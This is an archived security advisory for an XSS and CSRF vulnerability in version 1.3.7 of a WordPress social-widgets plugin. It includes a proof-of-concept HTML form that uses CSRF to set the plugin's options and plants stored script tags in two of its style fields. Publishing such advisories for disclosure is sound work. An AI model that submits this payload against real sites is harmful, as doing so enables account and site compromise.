what you don't know can hurt you

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting
Posted Jul 28, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Facebook, Twitter, and Google+ Social Widgets plugin version 1.3.7 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 07135e9368d4a7e2279972138f2e2e3d

WordPress F/T/G Social Widgets 1.3.7 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Facebook, Twitter & Google+ Social Widgets' Plugin 
Version: 1.3.7
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-15
Download:
- https://wordpress.org/plugins/facebook-twitter-google-social-widgets/
- https://plugins.svn.wordpress.org/facebook-twitter-google-social-widgets/
Notified WordPress: 2015-06-23
==========================================================

## Plugin description
==========================================================
Simple plug-in that displays the most important social widgets from Facebook, Twitter and Google+ below your posts. Very easy to setup: just activate

## Vulnerabilities
==========================================================

The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a malicious URL (keep in mind that most modern browsers encode the url). This happens on line 134 in the file SWAdmin.php

Some of the plugin settings in the admin menu are vulnerable to stored XSS. Furthermore, all settings can be set through CSRF.

PoC:
Log in as admin and submit the following request:

<form method="POST" action="[URL]/wp-admin/options-general.php?page=social-widgets-options">
<input type="text" name="sw_hidden" value="Y" required><br />
<input type="text" name="sw_facebook" value="1" required><br />
<input type="text" name="sw_twitter" value="2" required><br />
<input type="text" name="sw_google" value="3" required><br />
<input type="text" name="sw_displayonposts" value="1" required><br />
<input type="text" name="sw_displayonpages" value="1" required><br />
<input type="text" name="sw_displaybelowpost" value="1" required><br />
<input type="text" name="sw_contentfilterpriority" value="10" required><br />
<input type="text" name="sw_supportplugin" value="1" required><br />
<input type="text" name="sw_cssstyleall" value=""><script>alert(1)</script>"><br />
<input type="text" name="sw_cssstylewidget" value=""><script>alert(2)</script>"><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    10 Files
  • 23
    Apr 23rd
    22 Files
  • 24
    Apr 24th
    4 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close